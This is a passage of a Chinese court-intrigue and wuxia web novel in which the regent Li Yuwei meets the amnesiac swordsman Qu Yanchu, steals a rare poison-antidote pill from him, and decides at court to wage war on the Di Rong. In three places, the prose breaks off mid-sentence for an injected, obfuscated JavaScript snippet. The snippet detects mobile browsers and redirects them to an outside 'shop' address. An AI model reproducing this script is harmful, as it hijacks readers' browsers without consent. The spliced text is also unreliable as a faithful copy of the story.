“贵客远道而来,却只是为了做那梁上君子吗?” “若是再不肯现身,在下就要请贵客现身了。” 22. 奸臣当道 随着白衣男子的话音落下,身后响起了轻微的脚步声。 月亮正好从乌云后浮现,月光带着淡淡的清辉洒落,落在那道清瘦身影上。 白衣男子也在听见声音时转身,却在看清对方时顿时被定在了原地。 女子身着青衫,长发如瀑,轻轻垂在腰间,随风微微摇曳,面容平静,面色却带着几分病态的苍白,在月光的衬托下,沾染几分空渺脱俗。 白衣男子眼睛骤然一亮,不可置信的看向面前之人,确定了不是自己的幻觉后,周身的凌厉顿时被巨大的惊喜替代。 他嘴角不自觉地上扬,仿佛连这清冷的夜色都因他的笑容而柔和了几分。 “是你?” 白衣男子轻声问道,语气中既有惊讶也有不易察觉的欣喜。 白衣男子,也就是曲言初来京城的最初目的就是来找她的,从他突然失去三年的记忆后,见到的第一个人就是她,最念念不忘的也是她。 后来他熟悉了周围情况,知道没有点苍门了,也见到了死里逃生的阿姐,却并没有多激动,反而莫名的想远离,不想参与阿姐口中的“复仇”。 于是他在给父亲上了坟后,就独自离开了,可走在路上感觉一片空茫,不知道自己该去哪里。 明明只失忆了三年,却感觉与整个世界断联了一般,整个心都空了一块。 后来他就独自闯荡江湖,却仍旧没有补全他心里的空缺,直到有一天,他拎着徒弟惩恶扬善的途中,意外得了一副画像。 关于浮生楼少楼主的画像,看到画像中的人时,曲言初心里的空缺一下子被填充涨满,心里更是弥漫一股酸涩,甚至不知为何疼痛起来,伴随疼痛的,是更加剧烈的心跳。 虽然与记忆中沉默的身影相差很大,但他还是一眼就认出了画像中的人,就是他失忆后醒来时见到的那个姑娘。 原来她竟是浮生楼少楼主。 点苍门还在时,两大门派各占半壁江山,两套剑法也并称天下第一,而他自幼修习归一剑法,修成时便是父亲也能赢下半招,可谓是洋洋得意。 所以他自然认为自家归一剑法便是天下第一,听到江湖上对回春剑诀的信奉尊崇,对那位被称之为天纵之才的浮生楼少楼主更是大吹特吹,心里自然不服气的很。 这种不服气在他给远在姑苏的阿姐传信询问,却同样得到了满篇的夸赞时达到了顶峰,下定决心一定要会一会那位浮生楼少楼主。 也让天下人看一看到底是他这归一剑法天下第一,还是她那回春剑诀举世无双。 可是后来还没来得及去找她对上一对,他就失忆了,再睁眼直接变成了三年后。 那时不仅点苍门没了,浮生楼也不在了,就连坐在高位的皇帝都换了一个人,他要承接的变故太多了,这件事自然就被他抛在了身后。 他以为他们没有机会再见到了,却没想到早就在他最开始醒来时,他们就见面了。 曲言初一点点抚摸画像,最后目光落到一旁的小字。 “天下第一的浮生楼少楼主是也!” 那行小字落墨行笔如行云流水,洋洋洒洒的题在画像一旁,收笔时更是墨汁飞溅,潇洒畅达,写出来的字仿佛是要跳出纸张一般。 透过字迹,好像能看到对方洋洋得意和自己就是天下第一的神情。 曲言初这一刻突然觉得画像中的女子仿佛活过来一般,一举一动都是潇洒恣意,一颦一笑都自带风流。 只是不知为何,画像中,与他所认为的那位少楼主,都与他记忆中的模样完全不同。 记忆中的女子身形消瘦,神色平静,古井无波般的眼眸中覆盖了层层霜雪,却又透着一股死寂。 与画像中的女子虽面容相同,却又大相庭径,甚至若非可以将两人一起比对,都要认不出来。 但曲言初确定,他记忆中的女子就是那位浮生楼少楼主贺景窈。 可是为什么呢?曲言初一时起了极大的好奇,他去询问阿姐,她见过贺景窈,一定知道为什么,或许知道她在哪。 可阿姐总是避而不谈,问急了甚至命人将他赶出去也不肯透露半分。 于是曲言初只能自己去寻找贺景窈的踪迹,走遍了江湖的每一个地方,在姑苏停留的格外久,甚至在途中还收了个徒弟,可是仍旧寻不到女子半分踪迹。 于是在他遍寻无果,他小徒弟看不下去让他去京都找找时,他就决定去京都碰碰运气。 说实话他走了那么多地方,不是没想到京都,只是不知为何,哪怕他从小是在京都长大,却莫名不想再回京都,也莫名觉得她那样的人,肯定不会去京都那种地方的。 但碰运气嘛,总要试试,可是当他们下定决心前往京都后,他们这一路就格外不顺,甚至阿姐在得知他要去京都时也是百般阻拦。 但越是这样,曲言初越觉得京都有问题,于是一师一徒经历诸般磨难,终于磕磕绊绊的来到了京都。 本以为找人要下一番功夫,却没想到抵达京都当晚就见到了那位少楼主,他记忆中仅一面之缘的女子。 京都可真是风水宝地啊! 曲言初心情激动,却生生按压缓步向前,走向那位仿佛被月光零落的女子,却又在对方后退几步的动作中停住了脚步,最后抓耳挠腮,只憋出一句话来: “你,你怎么来了?” 李予微看向他,虽然这些年来斯南一直有传回关于他的近况,但他们还是很久没见面了。 他看起来好像一点都没变,但李予微知道自己是变了很多的,却没想到对方还是一眼就认出了她。 是因为这身青衣吗? 在京都这么多年,她惯常穿的颜色早就变成了玄色黑色,只是在来见他之前,不知为何,她掏出了被压在箱底,她少年时惯常穿的青衣罗裙。 好像穿上这身罗裙,就能把什么隔开一般,展现出另一副模样。 李予微垂了垂眼眸,掩住眼底的情绪。 “不是你来找我的吗?” “啊,啊对。”曲言初一时竟有些磕巴起来:“可我没想到你会见我,毕竟你躲了这么久……” 李予微目光一凝,定定看向他,不放过他一丝一毫的情绪,在她的目光中,曲言初脸有些红了,他尴尬的躲避这道目光,最终投降般道: “好吧,我确实一直知道跟在我身边的那个人是你派来的,毕竟我好歹也是天下第一剑,不至于这么长时间身后多了个人,却一点都没发现。” “而且那个人一到京都就不见了,恰巧没几天你又突然出现了,很难不让人想一起,然后就猜出你一直知道我在找你,却仍旧躲着我了……” 说着说着,曲言初声音越来越低,然后停顿了一下,紧跟着小声嘟囔:“虽然他武功的确不错,尤其是隐匿功夫,我也确实没逮到他。” “但也就比我强一点点……”曲言初比量了半个手指盖大小的距离,看了看,又把距离缩短了一点,只剩一个小手指尖。 “嗯,就比我会藏这么一点点而已,他要是站出来跟我拼真刀真枪,定然是比不过我的。” 曲言初一个人说了半天,却发现她一直沉默的站在那里,一言不发,他突然眯了眯眼。 “你不会是要跟我抢天下第一剑的位置吧?那我可是不认的哦,江湖再多人说我都是不认的,除非你跟我打一架,打赢了我就认可你是那天下第一……” “为什么要来京都?留在姑苏不好吗?” 李予微冷不丁开口,打断了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588912|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,曲言初一怔,紧跟着又笑了起来。 “你都知道我是找你的了,你又不在姑苏,那我还留在姑苏干什么。” “那你见到了,现在可以离开了。” “那不行!”曲言初皱了皱眉:“我好不容易找到了你,怎么就能这样走,况且我还没跟你打一架呢?这样怎么知道归一剑法和回春剑诀那个更厉害!” “曲言初!”李予微冷声打断:“这里是京都,不是江湖!” “京都不是个好地方,走的是阴谋诡计,不是江湖中的刀枪剑戟!我不想和你打,你也不适合这里。” “现在就走,离开京都,之后去哪里随便你!” 总会要比就在这里强! 曲言初低头沉默表示拒绝,李予微猛然盯住他的眼睛,声音紧厉: “反正你也不喜欢这里不是吗!那么多年一直都想逃离这里,为什么还要回来!” “你怎么知道我不喜欢?”曲言初突然抬头认真看向她,开口道: “贺景窈,在我失忆前,我们是不是就认识?” 空气一瞬间陷入寂静中,李予微仿佛化身成一座雕塑,无言的伫立在那里,好在曲言初本身也没想能让她承认这个答案,但他也不会怀疑自己的直觉。 眼看寂静的气氛一直蔓延下去,曲言初主动扯过了别的话题。 “我好歹也在京都生活了将近二十年,点苍门也是定在京都,甚至参预朝政。” “虽然我比较废物,不懂朝堂上的那些弯弯绕绕,但不代表我真的什么都不知道,京都是什么样子,我在清楚不过。” “所以我不会离开的,除非你跟我一起离开。” 在曲言初期待的目光中,她又一次后退了一步。 曲言初眼中难掩失望,最后竟直接背过身去,突然说一件毫不相干的事: “我阿姐是谁,你一直知道,她最近来到了京都,你也知道吧。” “你不是想找阿姐吗?我不在,你确定能那么快找到她吗?摄政王殿下?” 李予微没想到这么快,自己的马甲就被扒了下来,或者说从他踏入京都时,很多事情,就已经猜到了。 “曲言初,你知不知道我找你曲清欢是干什么?” “我知道。”曲言初淡淡开口:“清除乱党,整肃朝纲,我说的没错吧,摄政王殿下。” 李予微讥讽开口:“那你这是大义灭亲?还是被你脑子里的情爱迷昏了头脑,要帮别人抓自己的亲姐姐?” “我是不是该赶到荣幸你有如此觉悟?还是该感动你对我用情至深,亲姐姐都能作为筹码卖出去?” “都不是。”曲言初道:“只是想结束这一切,你应该知道阿姐的目的,哪怕她手里捏着废太子,但她最终是想要颠覆大兴王朝,想让这皇位换一个姓氏。” “可我不想,百姓也不想。” 李予微:“所以曲公子是为了天下百姓?那这么说曲公子还是大义灭亲啊。” 明明曲言初这么说是对她最有利的,但李予微话里还是带了讥讽。 她可是知道曲言初是有多维护他这个姐姐,甚至有时候到达了善恶不分的地步,她可不信面前这人会大义灭亲,帮着抓自己亲姐姐。 曲言初听出了她话里的意思,却只是闷闷开口:“来京城前,我就见到阿姐了” “阿姐很不好,在京都中,她比以前更疯了,所有人都说她是疯子,就连她手底下的人都暗暗这样骂着。” “可我知道,阿姐只是被人逼疯了,只不过没人信罢了。” “可不知为何,我信,贺景窈,不,李予微,你信吗?” “或者我换个问法。” “李予微,你可知南诏至宝,摄魂丹吗?” 23. 奸臣当道 “贺景窈可能不知道,但李予微肯定知道。” “毕竟,当年南诏国因势弱遭狄戎攻击,还是摄政王殿下亲自带兵援救。” “就连南诏唯一留存血脉,都在摄政王身边,不是吗。” 曲言初声音平静,眼神不自觉带一丝凌厉,在寒夜中更显冰寒,李予微微垂眼眸,喉咙间又泛起痒意,但被她强行压下。 “这才是你来京城的目的吧,前面说是为了我,说的那般情真意切……该说不说,曲公子好手段啊……” 话落后,话音的最后一点自嘲也随风消散,李予微声音已经归于平静,看向他时,眼神淡淡,好像又变成了那个掌握权柄,控人生死的摄政王。 “你想如何?” 曲言初压下心中一瞬间不自觉的战栗,定声道: “留阿姐一条性命,我发誓会让她从此不会在闹出事情,威胁到皇帝,此生更不再踏足京城半步。” 李予微:“曲清欢若肯走,她就不会来京城。” 曲言初:“这我自有办法,只不过摄政王肯不肯放人。” 李予微淡淡看向他:“只有死人才不会有威胁,而且她该死,所以我又凭什么放过她?凭你的一句话?” “曲公子未免把自己想的太金贵些。” 曲言初:“凭我手中还有这世上最后一颗摄魂丹。” “太后娘娘,应该很需要这枚摄魂丹吧。” 李予微眸光突然锐利起来,上下审视着他,一旁的斯南也眉头一皱。 摄魂丹。 曲清欢改良并下在贺英姝身上的归心散,之所以离素难以祛除,就因为加了一点摄魂丹粉末。 仅仅是一点点粉末,就让归心散成为了无解之毒。 可因为摄魂丹乃南诏至宝,创始人成迷,药方未知,而这世上又仅有三颗,听说已经全部被用完。 所以离素想研究也无法可入,这才这么多年只能压制,无法祛除。 可若真的还有摄魂丹就不一样了,离素就可以研究出摄魂丹成分比例,破解贺英姝身上归心散就指日可待了。 不可否认,这的确是极大的诱惑。 场面再次陷入了死寂当中,事到如今,就算手里捏着摄魂丹,曲言初也不是十足的把握。 毕竟在他面前的女子不是救他命的恩人,而是以一己之力权压朝野上下的摄政王。 所以他紧紧的盯着她,等待着她开口说出他预料的结果,然后进行下一步谈判,可却见她在开口时,传来的是一阵撕心裂肺的咳嗽声。 李予微喉间的痒意彻底爆发,她握拳掩唇,却怎么都止不住。 曲言初看着她咳嗽不断,身形都有些颤抖起来,眼中划过动摇,忍不住上前几步,给她顺着后背,帮她止咳。 不过很快,一直在暗中的斯南现身,不动声色的隔开了曲言初,手中还有一件黑色的披风,上前系在了李予微身上,挡住了夜里的寒风,也遮住了那身青衣。 待李予微止住咳后,原本苍白脸反而咳出几分红润,只是眼神仍旧淡漠,此刻仿佛一切都不在其中。 “我不答应。” 不仅暗中听到全程的斯南,就连曲言初都不可置信的看向她,似乎没想到她会拒绝,张口就想说什么。 可外面突然响起一道声音:“香料给你采回来了,这回可以开饭了吧。” 是他便宜徒弟的声音! 这时候可不是你回来的时候啊! 可少年根本听不到自己师傅的心声,兴致颇高的拎着香料往院子走,曲言初这回急了,可不能让小孩看到院子里这幅场景啊。 可曲言初的担忧是多余的,等他转头刚想让两人躲一下时,却发现院子里早就空空荡荡,哪里还有人影,只有李予微临走前落下的一句话,像秋天落叶一般,漂漂落落的回荡在耳边: “何时备好我满意的筹码,再做交易。” 还不待曲言初反应过来这句话,墨衣少年就已经推门而入。 “累死我了,你要的香料我拿回来了,兔子烤好了吗?” 曲言初回过神来,这才想起早就被他忘在脑后的兔子,他拎起已经变成黑皮的单腿兔子,沉默了。 “曲言初!你在干什么!兔子都焦成碳了!”墨衣少年,也就是林跃青尖叫出声,曲言初试图掩饰道: “咳咳,这是最近最流行的焦香风味,撒点香料蘸着更好吃,不信你试试......” “焦香风味是吧。”林跃青听完这话都要被气笑了,手里的香料也不管了,一把抢过曲言初手里的黑皮兔子。 说来也奇怪,这只黑皮兔子浑身上下都变得焦黑,唯有一只兔腿色泽酱红,外焦里嫩,一看就是没怎么被火焰彻底侵蚀,反而烤的刚刚好,反而显得格外诱人起来。 只不过只有一只,兔子四条腿,剩下三只却不翼而飞,只剩下一只孤零零的兔腿,勾的两个至今还没吃上饭的人近乎垂涎欲滴。 林跃青暗暗咽了咽口水,咬牙切齿道: “曲言初!老子去取香料,你还偷吃!” “不是我!”曲言初也觉得冤枉的紧,他怎么知道兔子怎么焦的那么恰到好处,还有三只兔腿就这么不翼而飞,连忙解释,可林跃青哪里还会信他: “不是焦香风味吗,那除了兔腿以外的兔肉,你就给我全都吃完,要是敢剩下你就今晚睡院子里吧!” 曲言初本来盯着那仅剩的兔腿莫名觉得眼熟,谁知下一秒那只单腿兔子就要飞了。 “别跑!”曲言初眼疾手快的掰下最后一只兔腿,下意识整个塞到嘴里,一整套动作行云流水,完全没有思考下意识动作,熟练的不可思议。 就连曲言初自己都怔愣了几秒,眨巴着眼睛对上林跃青同样愣住的神情,下意识咀嚼几下,林跃青脸色一点一点黑了下来。 “曲!言!初!!” ...... 回到府里时,天已经熹微,朦胧的薄雾笼罩了整个京城,点点的微光穿透云层,冲散了残夜的沉寂。 直到薄雾渐渐散开,整个京城在晨光的轻抚下慢慢苏醒,城中的百姓又开始他们崭新的一天。 李予微站在阁楼之上,遥遥的望着天边晨雾熹微,在她身后,离素啃完最后一根骨头,总觉得意犹未尽,看了看自己剩下的一片狼藉,又看向了对面盖着的碟子。 最后瞟了一眼李予微的背影,悄咪咪的将手伸向对面碟子那里,刚掀开盖子,就听到: “素素姐,那是留给尺霜的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645153|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我当然知道,就是看看。”离素拿出制药的架势,一本正经的掀开盖子瞧了起来:“好家伙,就一根兔腿,你还给切成片摆了盘。” 离素忍不住道:“不过你大半夜跑到人家院里偷的兔腿,全给我们,自己一口不吃啊?” 李予微转过身:“我吃过了,味道仍旧不错,只可惜有点焦了。” 离素又仔细看看,好像是少了一片肉,忍不住笑道:“焦怎么了,堂堂摄政王大半夜跑到人家那里偷的兔腿,就算是全糊了我也能吃得下去。” “你看,斯南连骨头都没剩下。”离素指了指斯南,斯南全当听不见,对着李予微道:“主子,我去看看尺霜去哪里了。” 说完就转身跑没影了,李予微扶额:“都说了,是下意识顺手了。” 离素意味不明的看向她:“看来以往没少干这种事啊,都能顺手成这样了。” 李予微无奈道:“素素姐怎么不仅连我身边的人都不放过,吃了我的肉还拿我开玩笑。” “你明明知道我是为了拿它。” 李予微指了指桌子上的小木盒:“怎么样,是摄魂丹吗?” 离素拿帕子擦了擦手,这才拿起小木盒:“我有七成把握觉得没错,但还是让尺霜过来看看吧。” “毕竟是南诏皇室遗孤,应该见过他们南诏至宝,确认下也好。” “不过我也是佩服你,人家刚用摄魂丹威胁你,紧接着你就把摄魂丹摸过来了。” “不过你怎么知道他将这个带来了身上,还能在几下接触中准确摸了过来?” 李予微神情淡淡:“一路上斯南都跟着,真有什么异常斯南早就跟我汇报了,所以猜到应该随身带着,就碰碰运气,然后就让我碰到了。” 离素笑道:“这家伙失忆前就总斗输给你,如今没了记忆,怕是更玩不过你了。” “不过你这次见过了他,那曲清欢......” 李予微眼眸微垂,让人看不清情绪: “她活着,曲言初见过她。” “我体内的归心散应该也是她下的,曲言初那摄魂丹交换的条件就是曲清欢。” 离素神情瞬间严肃起来,看着她想说些什么,却不知道该怎么说。 李予微察觉到了,对她安抚性笑笑:“我没事。” “兵来将挡,水来土掩,总会有办法的。” 离素也叹了口气,暗道冤孽,这曲清欢怎呢就跟摆脱不掉的影子一般,缠绕不断。 “不过这次以外得到了摄魂丹,也算是因祸得福了。有了它,阿姝的归心散也是有希望了。” 李予微道:“不是还没确定吗,还是等尺霜看过的好。” 离素认可点了点头。 “不过尺霜去哪了,怎么还不过来,还有斯南这小子,找了这么半天也没回来。” 正当离素起身张望时,李予微突然开口:“素素姐,等你带着阿姐会姑苏时,把斯南也带上吧。” 离素一愣:“怎么我带上,你不要他了?” 李予微道:“怎么能说是我不要他,他本来也不是我的人。” “人是素素姐捡回来,救回来,最后硬塞到我这里的。” 离素抓了抓头发,的确是这样。 24. 奸臣当道 斯南是离素当年从尸堆里捡回来的,救回来后发现他武功不错。 当时李予微不适合动武,就硬塞到李予微身边护佑一旁。 所以她和斯南之间有着一股一般人没有的熟稔。 这么一说,离素对他生出了一股莫名责任感,折腾的不上不下的。 李予微指尖轻点。 “你和阿姐回姑苏这一路让他护佑一旁,以后他跟在你们身边我也放心些。” 离素想了想,这的确是个好主意。 “可是那你呢?” 这家伙本来身边人就少,斯南是其中难得武功高的了。 现在斯南一走,就又少了一个人能保护她。 李予微道:“如今尺霜武功不低,斯南和她久不切磋,谁输谁赢还不一定。” “况且……”李予微轻笑一声:“我堂堂摄政王,是离了他身边就没人了吗?” “行吧。”既如此,离素也不多说了:“那人我就带走了,你自己注意着点,随时通信,别看到我的信装作没收到。” “那我可要杀回来的。” 李予微收了收嗓音:“知道了。” 离素见她乖觉,便摆了摆手: “那我在这等尺霜吧,你先走吧,这时间你也该准备上朝了。” “不过周玄祁那小子是皇帝也就罢了,你还非要去上那个朝干什么,这朝廷是离了你就不转了吗,尤其你这一宿没睡……” 眼见离素有开始止不住话头,语速也越来越快,李予微无奈: “素素姐……” 离素一个打住。 “成,我不啰嗦了,没几天我就走了,你想听还都没人说呢,走吧走吧。” 李予微笑着应下,临走前眺望了一眼远方的天空,不知在想什么,离素顺着目光看去,那里却只有初升的朝阳。 “你最近怎么总是抬头望天啊?也没什么啊。” 李予微收回目光:“没什么。” “走了。” 李予微背对着她摆摆手,离素看着她的身影消失在楼梯拐角处,她又转头看了看天,还是没看出什么。 她没有看到的是,在初升旭日旁边,有三条纵横交错的裂痕横在天空,向四周开裂。 其中横在两条裂痕之上,原本第三条最细的裂痕,也开始慢慢扩裂开,一点点的吞噬着天空。 —— 太和殿前 徐大人这几日过得很快乐。 自从他在金銮殿上,请求陛下让太后听政,虽然最后被陛下给驳回了,但自那之后,李予微那贼子已经称病三日没上朝了。 是不是真病了两说,他自然不会以为这贼子是怕了自己而不上朝。 但他猜测,那贼子会不会是因为听到提出让太后听政而心生忌惮。 不管那个原因,反正那贼子不在他就开心。 尤其是这几天他跟几个保皇党的同僚一起联合上奏,提出了一连串的对策,狠狠压了压摄政王一党的势力。 这几日的朝堂上都没再见到那群人嚣张了。 徐大人心里别提有多爽快。 不仅脸上带笑,走路都直带风。 这不,今天又准备了一堆罪状,正打算上朝时继续参她一本。 但笑意还没持续多久,在看到远处殿前玄色身影时,笑容彻底的僵在了脸上。 “徐大人。” 玄衣女子见到他时温言浅笑,主动招呼。 “我本以为那日朝堂上针锋相对,徐大人定是厌我至极,没想到几日未见,徐大人竟如此想念于我,一见到我便笑容满面。” “不想我这一路上见到的其他人,都没有徐大人笑的诚恳。” 徐大人听到这话脸都要绿了,他那是笑的没收回来!他的确是厌她至极的,要是能见不到他,定然乐的饭都多吃两碗。 “摄政王说笑了,见到您这番痊愈,下官自然是开心的。” “只是殿下都病的这么重了,怎么才只休了三天?” 看这人脸虽发白,人却精神的厉害,也不像是生病的样子,想来是这几日一直都在装病。 呸!乱臣贼子! 也不知道打的什么主意。 不过这厮的脸一直都是白的,想来也是因为女子本来也就比他们要白一些的。 “身体好了,自然不能耽误朝事。” “时间到了,徐大人一起吧。” 李予微轻笑,竟先摆出邀请的架势,徐大人一时竟生出了受宠若惊的感觉。 肯定不安好心! 徐大人心中狐疑,却上下打量也没在女子脸上找出一丝破绽。 一如既往的温和笑意,至于这般礼节…… 好像这厮平时也是这般有礼的,只不过以前都是礼貌的将他们怼回去,要不就是有礼有节的请人赴死,灭人全族。 哪有像现在这般的,温和有礼的只是邀人进去? 不安好心! 莫不是他联合几位同僚,在这几日反复弹劾她的事被她知道了? 知道又如何。 他身正不怕影子斜,还怕这家伙不成。 这么一想,徐大人当即壮了壮胆子,跟在她后面走了进去。 朝会开始,徐大人却只等到一片寂静,原本计划一起弹劾的几个同僚,此时却无一人站出。 目光一一扫到几位同僚脸上,却无一人敢与他对视,最后目光定在最前面的玄衣女子身上,徐大人很快就明白了为什么。 呸!胆小鼠辈! 背后一起弹劾的不是很欢的吗!见人家上朝就不敢吱声了是吗! 徐大人见无一人敢站出,没再犹豫,当即也站了出来。 准备都准备了,能白准备不成? 况且他还怕这个家伙吗? 小小女子! 别说他总是背后弹劾了,就算是当面弹劾请罚他都没什么不敢做的! 徐大人这么想的,也这么做了。 而面对他们送上去的罪状,其他证据确凿的,都依国法处理了,情节严重的小皇帝也当即命人拖出去斩了。 可以说也开始有帝王风范了。 徐大人这才满意的撤回队伍,余光扫过李予微,想看这家伙气急败坏的样子。 只是却见女子神色未曾有过半分改变。 嗯……果然是摄政王,比朝堂中的老油条都要狡猾,自己人都被拖出去了,还能做到面不改色。 只是也不知道为什么,明明面前女子跟在朝堂上命金吾卫拉人出去斩了时的神色几乎一模一样。 但他却莫名觉得这家伙嘴角好像弯了弯,好像......在笑? 徐大人神情就古怪了起来。 她的人都要被斩了,她却这副模样? 莫不是有什么阴谋诡计? 还是请假那几日真病得不轻,病糊涂了? 不不不。 定是气的狠了,才会气极反笑。 想到这里,徐大人忍不住从鼻腔中发出一声轻哼。 现在知道他曾经放过人这群王朝蠹虫,是怕了他们吗? 他只是一击必胜罢了! 现在知道他的厉害了吧。 徐大人突然觉得自己踩在棉花上,一时之间轻飘飘的。 就算你是摄政王又怎样。 看你还敢不敢嚣张! 哼! —— 李予微很喜欢一击必胜。 在她看来,麻烦都到了一起了,然后一起收拾,一起收拾掉不就很简单了吗。 所以她底下被徐大人认为的‘党羽’,一部分是因为全都杀了,一时之间找不到合适的人,捏手里更好把控。 但更多的是给小皇帝练手的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660381|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 都收入她手里,既是为了方便把控,不出乱子,也是为了方便小皇帝一次洗清,一击必胜。 如今看小皇帝已然开始成熟,举手投足之间也渐渐生出杀伐果决之气。 目睹这一切的李予微,自然是最为欣慰的。 只不过这幅样子落在徐大人眼中就是不安好心罢了。 率先将摄政王党羽一一弹劾后,朝臣们便按照往日惯例汇报国事。 而如今最具争议的,便是边境狄戎之事。 一武将当即出列请求: “狄戎诸多部落,屡次侵我疆域,犯我国威,末将恳请陛下下令反击,扬我朝天威!” 此时一文官却出列反驳: “臣恳请陛下三思,如今寒冬方过,春耕在即,正是我朝休养生息之机,妄动兵戈,苦的只会是百姓。” 沈将军道:“赵大人既然提到百姓,那可有为边境百姓想过,长期以来,狄戎部落屡屡犯境,烧杀抢掠,扰其不得安宁。” “中土百姓即将春耕,边境百姓却因长期战乱,连春耕的机会都没有,衣不抵寒,食不果腹,只能日复一日靠着朝廷下发的微薄救济勉强度日。” “赵大人既然心系百姓,为何却偏偏将边境百姓排除在外!” 赵大人道:“如沈将军所说,正因为边境百姓惨遭战乱之苦,所以才更应该止戈恢复民生,又怎可再兴兵戈,将百姓好不容易暂时稳定下来的生活再次搅乱!” “可沈将军不想着如何为边境百姓出民计,安民生,却一味主战,究竟安的是什么心!” 沈将军道:“呵,安民生?民生恢复以后呢,然后让百姓好不容易种出来的粮食,好不容易恢复的生机,敞开大门等着狄戎抽出手来再抢一次吗?” “到时候还没等狄戎蛮人提刀杀人,他们就找寻了个房梁自吊麻绳了,等那一天我一定给那些百姓指路,让他们死后魂魄去赵大人家里好好再探讨安民之计!” “你……你这个登徒竖子,怎可当着大殿之上妄言鬼神之说!” 赵大人听到这话气极,指着他就骂,沈将军却不屑一顾: “我妄言?我不过实事求是,若此时不趁他们虚弱加以反击,难不成等着他们养的兵强马壮再次侵我大兴国土?” 底下吵的热火朝天,而高坐龙椅之上的周玄祁也眉头紧蹙。 虽然执政不久,但他对屡屡犯境的狄戎显然不满已久,显然他是主战的。 但开战毕竟不是小事,兵马粮草,武器军资,况且赵大人确实有一点说的对,春耕在即,此次开战又会对百姓多少影响? 思索间,心中已经有了想法,目光却又落在殿上的玄衣女子身上。 不可否认,哪怕心中已有决断,哪怕如何讨厌这人,却在遇事决断时仍旧下意识第一时间寻找她的身影。 不过如今哪怕他不问,自己下了令,没有她的同意,他的旨意就走不出这金銮殿。 周玄祁心中讥讽,却没再多抗拒,开口道: “摄政王认为呢?” 此话一出,金銮殿瞬间寂静,原本的争吵也全都停止,所有人等着那个玄衣女子开口。 被点到的李予微声音平静,略显苍白的脸上也没什么情绪。 说出的话如同轻羽一般,轻飘飘的落在大殿之上: “打吧。” 李予微眼眸微抬,看向周玄祁,语气淡淡,说出的每一个字,却都清楚的落在所有人耳边,炸如惊雷: “赵大人说的都可以去解决,唯有边境被扰一事,纵使狄戎一族提出休战,但也因为目前他们是弱势。” “一旦他们再次兵马皆齐,难保他们还会这般安分。” “狄戎之乱,非战已无可解决。” “既如此,那就打吧,打到他们不敢犯我国土半分。” “毕竟我大兴,从不怕战。” 25. 奸臣当道 圣旨已下,命沈将军披甲上战,领军出征,文武百官听令行事。 当要打仗的消息传遍京城时,李予微的马车已经到了王府门口。 一直倚坐在王府门口旁的曲言初,见到马车时一个鲤鱼打挺就起了身,顺便把一旁刚眯着的林跃青一脚踹醒。 林跃青也是一个激灵的就猛然起身。 “怎么了!抢劫?偷袭?” “偷袭个屁!”曲言初又给了他一脚:“给我把板子拿好!人回来了!” 林跃青看了看挂在自己胸前的那块板子,记忆回笼,却不敢反抗,暗自嘟囔: “真不知发了什么疯。” 林跃青是真不知道曲言初发了什么疯,昨天夜里因为兔子两个人经历一番师徒友好无暴力交流后,林跃青刚睡下,就听到一阵尖锐的爆鸣声。 紧接着他就看到曲言初跟个疯狗似的,到处在找一个东西,把整个小院翻了个底朝天,甚至丧心病狂的把每一片砖瓦都不放过。 找寻无果后,就对着他烤兔腿而没收拾的一片狼藉就开始骂,整整骂了一个时辰。 期间林跃青想要出声阻拦,但都被当时战斗力爆表的曲言初给怼了回来。 别看林跃青总是时不时跟他进行友好交流,但他心里清楚那都是曲言初从没动过真格。 可这会也不知道曲言初丢了什么,能让他癫成这样。 而且骂了一个时辰都不解气,把门板都劈了下来,又把本来打算做血旺的兔血掏了出来,写了字字控诉的血书,挂在了他胸前。 没错,就是挂在了他这个兔腿没吃到,听他骂了一个时辰的脏话,被这个癫公折腾的一夜未睡,天一亮就挂这个木板,被他拉着来到摄政王府找死的徒弟身上。 林跃青觉得他的怨气比鬼还重,偏生他还不敢反抗,因为曲言初的怨气比他还重。 也不知道这位摄政王到底拿了这家伙什么东西,他觉得自己身边的怨气都成黑气了。 尤其是看到马车出现时,眼底的怨气都要化为实质了,像是生生要把马车灼出一个洞来。 李予微自然有所察觉,一下车斯南就跟她请示了,还是斯南看不下去才把他们硬是给请到门内等。 就这开始曲言初还死活不愿意呢,经过好一番拉扯才把他请到了大门内,使得早就应该敞开的摄政王府大门如今还紧紧闭着,李予微回来也才勉强敞开了半扇。 生怕家丑外扬出去。 李予微一踏进大门,原本朝会带来的思绪还没来得及散去,却在见到曲言初时尽数散去。 她神情不变,看似波澜不惊,实则眼尾处隐隐带着一抹笑意。 “曲公子这是......兴师问罪?” 曲言初冷笑:“看来摄政王还挺有自知之明。” 